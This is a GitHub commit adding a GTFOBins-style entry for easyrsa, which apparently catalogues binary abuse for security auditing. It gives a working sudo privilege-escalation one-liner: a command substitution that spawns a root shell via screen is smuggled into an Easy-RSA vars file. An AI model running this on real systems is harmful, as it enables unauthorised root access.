Create easyrsa.md

abuses Easyrsa vars file (https://github.com/OpenVPN/easy-rsa/blob/master/doc/EasyRSA-Advanced.md)
This commit is contained in:
JM Sanchez 2024-04-24 10:57:21 +08:00 committed by GitHub
parent 97f46f1526
commit 72b7c317c0
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

9
_gtfobins/easyrsa.md Normal file
View File

@ -0,0 +1,9 @@
---
functions:
sudo:
- description: The below technique utilizies `screen` to have a proper working interactive shell.
code: |
echo 'set_var EASYRSA "$(/usr/bin/screen /bin/sh)"' > /tmp/vars
sudo easyrsa --vars=/tmp/vars
export PATH=/bin:/usr/bin
---